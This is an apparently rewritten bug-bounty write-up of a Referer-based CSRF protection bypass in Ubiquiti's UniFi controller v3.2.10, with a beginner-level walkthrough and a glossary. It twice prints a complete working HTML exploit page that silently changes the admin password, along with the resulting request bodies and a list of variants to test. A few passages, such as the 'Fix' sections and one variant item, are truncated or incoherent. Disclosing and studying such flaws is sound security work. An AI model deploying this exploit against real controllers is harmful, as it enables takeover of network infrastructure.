Ubiquiti bugbounty unifi generic CSRF protection Bypass
The UniFi application's CSRF protection only checked the Referer header, and if that header was missing, it allowed the request. An attacker could trick a logged-in user into submitting a forged request that changes passwords, adds users, or creates new WLAN configurations.
Published on rcesecurity.com
Better late than never. This article will give you some insights about my discovered generic Cross-Site Request Forgery Protection Bypass in Ubiquiti’s UniFi v3.2.10 and below, as published some time earlier this year on HackerOne .
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Ubiquiti's UniFi controller is the management application for UniFi installations and the devices connected to them. Version 3.2.10 and below shipped with a generic Cross-Site Request Forgery protection that was meant to stop requests originating from other origins from performing state-changing actions inside the controller.
The protection works by checking the Referer header: the application verifies that the header exists and that its value matches the host on which the UniFi application is running. If the Referer does not match the UniFi host, the action is denied. The researcher found that stripping the Referer header entirely bypasses this check, which turns the protection into a no-op for any attacker who can make a browser send a request without that header.
The write-up was published on 23 February 2016, after the issue had been reported on HackerOne earlier that year.
Setup
The report does not describe a lab setup, test accounts or tooling beyond the exploit page itself. The relevant preconditions are implied by the exploit:
- A victim with an authenticated session on a UniFi controller, reachable by the victim's browser.
- The attacker able to get the victim to load an HTML page under the attacker's control.
- The UniFi controller accepting JSON command payloads at its API endpoint, as shown in the exploit's
actionattribute.
The exploit targets the controller at https://[redacted]:8443, as shown in the form's action attribute.
Finding it
The researcher observed that the CSRF protection is based purely on the Referer header. When a request carries a Referer that does not match the UniFi host, the application rejects it with a 401 Unauthorized and a JSON error body:
HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 78
Date: Thu, 19 Mar 2015 17:24:53 GMT
{ "data" : [ ] , "meta" : { "msg" : "api.err.LoginRequired" , "rc" : "error"}}
But when the Referer header is stripped, the application accepts the action. That is the whole weakness: the check treats a missing header as acceptable, so an attacker only needs a way to make the browser omit Referer on a cross-origin POST.
Exploitation
The exploit is a single HTML page that builds a form inside an about:blank iframe and submits it. The full page from the report:
<html>
<head>
<script>
function load() {
var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://[redacted]:8443/api/s/default/cmd/sitemgr\'>' +
'<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
'</form>';
top.frames[0].document.body.innerHTML=postdata;
top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>
</body>
</html>
The page combines four tricks, each of which the researcher explains separately.
1. enctype='text/plain'
The UniFi endpoint expects a JSON body. If the form is submitted with the default encoding, the payload is sent as application/x-www-form-urlencoded, which produces a malformed request:
json%3D%257B%2522name%2522%253A%2522admin%2522%252C%2522x_password%2522%253A%2522csrfpwd%2522%252C%2522email%2522%253A%2522info%2540rcesecurity.com%2522%252C%2522lang%2522%253A%2522en_US%2522%252C%2522cmd%2522%253A%2522set-self%2522%257D=
Setting enctype='text/plain' on the form changes the Content-Type to text/plain and avoids the double encoding, so the body arrives as:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
2. Using the payload in the <input name> attribute
If the payload is placed in the value attribute, the name attribute must also be set, otherwise the payload is not sent at all. That produces a malformed request with an extra payload= prefix:
payload=json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D
Putting the payload in the name attribute instead solves this, because the value attribute is optional:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
3. iframe src="about:blank"
To strip the Referer header, the researcher uses a technique attributed to webstersprodigy: setting the iframe source to about:blank. Because about:blank has no domain, the request submitted from inside that frame carries no Referer header, and the UniFi check passes.
4. top.frames[0].document.body.innerHTML=postdata;
In combination with the iframe trick, JavaScript's top.frames is used to write the form markup into the about:blank frame and then submit it. Because about:blank has no domain, the submission goes out without a Referer.
The result is a working exploit. The request body that reaches the controller is:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
The trailing = can be ignored, as the application does. Decoded, the JSON payload sets the admin user's password to csrfpwd, sets the email to [redacted], sets the language to en_US and uses the set-self command against the sitemgr endpoint.
Root cause
The CSRF protection only checks whether the Referer header exists and whether it matches the UniFi host. A request with no Referer header is not rejected, so the check can be bypassed by any technique that suppresses the header. The about:blank iframe is one such technique. The application also tolerates the trailing = in the body, which makes the form-based submission acceptable to the JSON parser.
Impact
The researcher states that the vulnerability allows an attacker to compromise the UniFi installation and its connected devices. Examples given are changing passwords of users, adding new users, changing device usernames and passwords, and creating new WLAN configurations. The exploit shown in the write-up changes the admin password.
Fix
The report does not describe a fix or a patch.
Variants to test
- Strip the
Refereron any state-changing endpoint that relies onReferermatching. A positive result is a successful action with noRefererpresent, where the same action with a foreignRefererreturns401. - Try
about:blankiframes as a way to suppress the header. A positive result is the request arriving withoutRefererand being accepted. - Submit JSON endpoints with
enctype='text/plain'forms and the payload in thenameattribute. A positive result is a body that the JSON parser accepts without theapplication/x-www-form-urlencodeddouble encoding. - A positive result is a successful action with the extra character present.
What happened, in plain words
Ubiquiti makes networking gear: Wi-Fi access points, routers, switches. To set up and manage those devices, you run a piece of software called the UniFi controller. It is a web application: you open it in a browser, log in, and from there you can create Wi-Fi networks, add users, change passwords and so on. The controller then talks to the physical devices on your behalf.
In version 3.2.10 and below, the controller had a protection meant to stop a nasty trick called Cross-Site Request Forgery, or CSRF. The idea of CSRF is simple. Your browser is logged in to the controller, and it stays logged in because of a cookie (more on cookies below). If you then visit some other website, that website can quietly make your browser send a request to the controller. The browser attaches your login cookie automatically, so the controller thinks the request came from you. The attacker never sees your password; your browser does the work for them.
To stop this, the controller checked one thing: the Referer header. That is a small piece of information your browser attaches to a request saying which page the request came from. If the Referer did not match the controller's own address, the request was refused. The researcher, Julien Ahrens, found that if the Referer header is simply missing, the controller does not refuse the request at all. It accepts it. So the whole protection can be sidestepped by making the browser send a request with no Referer at all.
With that, an attacker can change user passwords, add new users, change device usernames and passwords, or create new WLAN configurations. In other words, they can take over the UniFi installation and the devices connected to it.
The write-up was published on 23 February 2016, after the issue had been reported on HackerOne earlier that year. The researcher says the CSRF bypass was rewarded with 500 USD.
Some background before the technical part
A few terms come up constantly, so here they are from zero.
- Web application: a program you use through your browser. The UniFi controller is one.
- API: a way for one program to talk to another using structured requests, rather than a human clicking buttons. When the controller's web page does something, it usually calls the API behind the scenes. An API endpoint is just a specific address that accepts a specific kind of request.
- Cookie: a small piece of data your browser stores for a website and sends back with every request to that site. Login sessions rely on cookies: the cookie is the proof that you are logged in. You never type it; the browser handles it.
- Session: the period during which the controller remembers that you are logged in, held together by that cookie.
- Header: extra information attached to a request or response, separate from the body. The
Refererheader is one example;Content-Typeis another, and it says what format the body is in. - JSON: a text format for structured data, made of names and values in curly braces, like
{"name":"admin"}. APIs commonly speak JSON. - CSRF (Cross-Site Request Forgery): the attack described above, where another website makes your logged-in browser perform an action you did not intend.
- Origin: the combination of scheme, host and port that a page belongs to, for example
https://[redacted]:8443. Browsers use origins to decide what a page is allowed to touch. - iframe: a page inside a page. A web page can embed another page in a rectangular frame.
about:blank: a special address that means an empty page. It has no website and no domain behind it.
The vulnerability in detail
The controller's CSRF protection checks two things about the Referer header: that it exists, and that its value matches the host where the UniFi application runs. If an attacker tries to use a controller function with a Referer that does not match the UniFi host, the application refuses the action. The refusal looks like this:
HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 78
Date: Thu, 19 Mar 2015 17:24:53 GMT
{ "data" : [ ] , "meta" : { "msg" : "api.err.LoginRequired" , "rc" : "error"}}
Line by line:
HTTP/1.1 401 Unauthorizedis the status line. 401 means the server is treating the request as not properly authorised.Server: Apache-Coyote/1.1tells you what software is answering. It is informational.Content-Type: application/json;charset=ISO-8859-1says the body is JSON text.Content-Length: 78says the body is 78 bytes long.Date: Thu, 19 Mar 2015 17:24:53 GMTis when the response was produced.- The blank line separates headers from body.
- The body is a JSON object with an empty
datalist and ametasection carrying the messageapi.err.LoginRequiredand the resulterror. In plain words: the controller said no.
But if the Referer header is stripped, the application happily accepts any action. That is the whole weakness. The check treats a missing header as fine, so all an attacker needs is a way to make the browser leave the header out. The researcher's page does exactly that.
The exploit page
The exploit is a single HTML page. HTML is the language web pages are written in. The page builds a form inside an about:blank iframe and submits it. Here is the full page from the report:
<html>
<head>
<script>
function load() {
var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://[redacted]:8443/api/s/default/cmd/sitemgr\'>' +
'<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
'</form>';
top.frames[0].document.body.innerHTML=postdata;
top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>
</body>
</html>
Line by line:
<html>,<head>,<body>are the usual skeleton of a web page.<script>starts a block of JavaScript, the language browsers run to make pages interactive.function load() {defines a function namedload. Nothing runs yet; it is just defined.var postdata = '...' + '...' + '...';builds a piece of HTML as text and stores it in a variable calledpostdata. The three quoted pieces are joined with+. The result is a form element followed by one hidden input element followed by the closing form tag.- Inside that text,
<form id=csrf method=POST enctype='text/plain' action='https://[redacted]:8443/api/s/default/cmd/sitemgr'>describes a form.method=POSTmeans the browser will send the data in the body of the request rather than in the address.actionis the address the form is sent to.enctype='text/plain'sets the format of the body, explained below.id=csrfis just a name so the script can find the form again. - The
<input type=hidden name='json=...' value='' />is a form field.type=hiddenmeans the user never sees it. The longnamevalue is the actual payload, URL-encoded (explained below).value=''is empty. top.frames[0].document.body.innerHTML=postdata;reaches into the first frame of the page (the iframe) and replaces its body with the form text.innerHTMLmeans "set the contents of this element to this HTML".top.frames[0].document.getElementById('csrf').submit();finds the form by its id and submits it, as if a user had pressed a send button.</script>,</head>close those blocks.<body onload="load()">says: when the page finishes loading, run theloadfunction.<iframe src="about:blank" id="noreferer">< /iframe>embeds an empty page. Theidis a name for the frame.</body>,</html>close the page.
So the sequence is: the victim opens the attacker's page, the page loads, load() runs, a form is written into the empty iframe, and the form is submitted to the controller. The victim sees nothing.
The page combines four tricks, each explained separately below.
1. enctype='text/plain'
The UniFi endpoint expects a JSON body. If the form is submitted with the default encoding, the payload is sent as application/x-www-form-urlencoded, which produces a malformed request:
json%3D%257B%2522name%2522%253A%2522admin%2522%252C%2522x_password%2522%253A%2522csrfpwd%2522%252C%2522email%2522%253A%2522info%2540rcesecurity.com%2522%252C%2522lang%2522%253A%2522en_US%2522%252C%2522cmd%2522%253A%2522set-self%2522%257D=
What is happening here: URL encoding replaces characters that are not safe in a URL with % followed by two hex digits. For example { becomes %7B and " becomes %22. The default form encoding encodes the payload once, and then the browser encodes the % signs again, so %7B becomes %257B. That double encoding is what you see above: %25 is an encoded %. The controller's JSON parser cannot read that, so the request is malformed.
Setting enctype='text/plain' on the form changes the Content-Type to text/plain and avoids the double encoding, so the body arrives as:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
Now each character is encoded exactly once. %7B is {, %22 is ", %40 is @, and so on. The controller can decode it back into JSON.
2. Using the payload in the <input name> attribute
If the payload is placed in the value attribute, the name attribute must also be set, otherwise the payload is not sent at all. That produces a malformed request with an extra payload= prefix:
payload=json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D
Why: a form field is sent as name=value. If you put the payload in value, you still need some name, and whatever you choose ends up in front of the payload with an = after it. Here the name was payload, so the body starts with payload=json=.... The controller expects the body to start with json=, so the extra prefix breaks it.
Putting the payload in the name attribute instead solves this, because the value attribute is optional:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
Now the body starts with json= exactly as the controller expects. The empty value contributes nothing.
3. iframe src="about:blank"
To strip the Referer header, the researcher uses a technique attributed to webstersprodigy: setting the iframe source to about:blank. Because about:blank has no domain, the request submitted from inside that frame carries no Referer header, and the UniFi check passes. The check only looks at whether the header exists and matches; a request with no header at all is not rejected.
4. top.frames[0].document.body.innerHTML=postdata;
In combination with the iframe trick, JavaScript's top.frames is used to write the form markup into the about:blank frame and then submit it. Because about:blank has no domain, the submission goes out without a Referer.
The result is a working exploit. The request body that reaches the controller is:
json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40rcesecurity.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D=
The trailing = can be ignored, as the application does. Decoded, the JSON payload sets the admin user's password to csrfpwd, sets the email to [redacted], sets the language to en_US and uses the set-self command against the sitemgr endpoint. In plain words: the attacker has just changed the administrator's password on the controller.
Why the disclosure was delayed
While coordinating the report on HackerOne, the researcher requested a CVE from MITRE. A CVE is a public identifier for a known vulnerability, so that people can refer to it unambiguously. Due to internal changes on MITRE's side, it took more than a month and several pings before they issued a statement. The answer was that MITRE would not assign CVEs to vulnerabilities in uncommon applications like the Ubiquiti one:
The MITRE CVE team has started enforcing the scope and coverage requirements previously agreed upon with the CVE Editorial Board, and outlined in https://cve.mitre.org/cve/data_sources_product_coverage.html . MITRE and the CVE Editorial Board agreed upon this scope several years ago, but only recently put it into effect by declining to assign CVE IDs to products that are out of scope. We are currently working with the CVE Editorial Board to define a more up to date list of products, as well as a process that would allow products to be added or subtracted as appropriate, but do not know when this will be completed.
The researcher notes that for the past five years MITRE had assigned CVEs for all his vulnerabilities without problems, but had now stopped doing so in general. In his view this leads the CVE system ad absurdum, because vulnerabilities in uncommon software will not be tracked any more, regardless of severity. At the point of finalising the article, MITRE had added Ubiquiti to the list of proposed products.
Final thoughts on the bug bounty programme
The researcher mentions a separate remote code execution (RCE) vulnerability in the same programme that was awarded 18,000 USD. RCE means an attacker can run their own commands on the target machine, which is about as serious as it gets. He still finds it worth pointing out that his generic CSRF protection bypass was rewarded with only 500 USD, even though it allows compromising UniFi and all connected devices, including changing device passwords. He calls this a heavily unbalanced rewarding scheme and describes the communication during the coordination process as poor.
Root cause
The CSRF protection only checks whether the Referer header exists and whether it matches the UniFi host. A request with no Referer header is not rejected, so the check can be bypassed by any technique that suppresses the header. The about:blank iframe is one such technique. The application also tolerates the trailing = in the body, which makes the form-based submission acceptable to the JSON parser.
Impact
The vulnerability allows an attacker to compromise the UniFi installation and its connected devices. Examples given are changing passwords of users, adding new users, changing device usernames and passwords, and creating new WLAN configurations. The exploit shown changes the admin password, which is enough to take over the controller account.
Fix
The report does not describe a fix or a patch. A token here means a random value the server gives the page and expects back with each state-changing request; an attacker's page cannot know it, so it cannot forge the request.
Variants to test
- Strip the
Refereron any state-changing endpoint that relies onReferermatching. A positive result is a successful action with noRefererpresent, where the same action with a foreignRefererreturns401. - Try
about:blankiframes as a way to suppress the header. A positive result is the request arriving withoutRefererand being accepted. - Submit JSON endpoints with
enctype='text/plain'forms and the payload in thenameattribute. A positive result is a body that the JSON parser accepts without theapplication/x-www-form-urlencodeddouble encoding. - A positive result is a successful action with the extra character present.
Glossary
- API: a way for programs to talk to each other with structured requests; an endpoint is a specific address that accepts one kind of request.
- API endpoint: a specific URL in an API that performs a particular action.
about:blank: a special browser address meaning an empty page with no domain.- Body: the main content of a request or response, separate from the headers.
- Bug bounty programme: a scheme where an organisation pays researchers for reporting security problems.
- Content-Type: a header saying what format the body is in, such as JSON or plain text.
- Cookie: a small piece of data the browser stores for a site and sends back with each request; used to keep you logged in.
- Cross-Site Request Forgery (CSRF): an attack where another website makes your logged-in browser perform an action you did not intend.
- CVE: a public identifier for a known vulnerability, assigned by MITRE.
- Double encoding: encoding data that has already been encoded, so
%7Bbecomes%257Band the original value is lost. - Endpoint: see API endpoint.
- enctype: the attribute on a form that sets the format of the submitted body.
- Form: the part of an HTML page that collects data and sends it to a server.
- HTML: the language web pages are written in.
- iframe: a page embedded inside another page.
- innerHTML: a JavaScript property that sets the HTML contents of an element.
- JavaScript: the programming language browsers run to make pages interactive.
- JSON: a text format for structured data made of names and values.
- MITRE: the organisation that assigns CVE identifiers.
- Origin: the combination of scheme, host and port that a page belongs to.
- Payload: the data an attacker wants to deliver to the target.
- POST: an HTTP method that sends data in the request body rather than in the address.
- RCE (remote code execution): a vulnerability that lets an attacker run their own commands on the target machine.
Refererheader: a header the browser attaches saying which page the request came from.Referrer-Policy: a header or setting that controls whether and how theRefererheader is sent.- Session: the period during which a site remembers you are logged in, held together by a cookie.
- Token (CSRF token): a random value the server gives the page and expects back with each state-changing request, which an attacker's page cannot know.
- UniFi controller: Ubiquiti's web application for managing UniFi devices.
- URL encoding: replacing characters that are not safe in a URL with
%followed by two hex digits. - WLAN: a wireless local area network, i.e. a Wi-Fi network.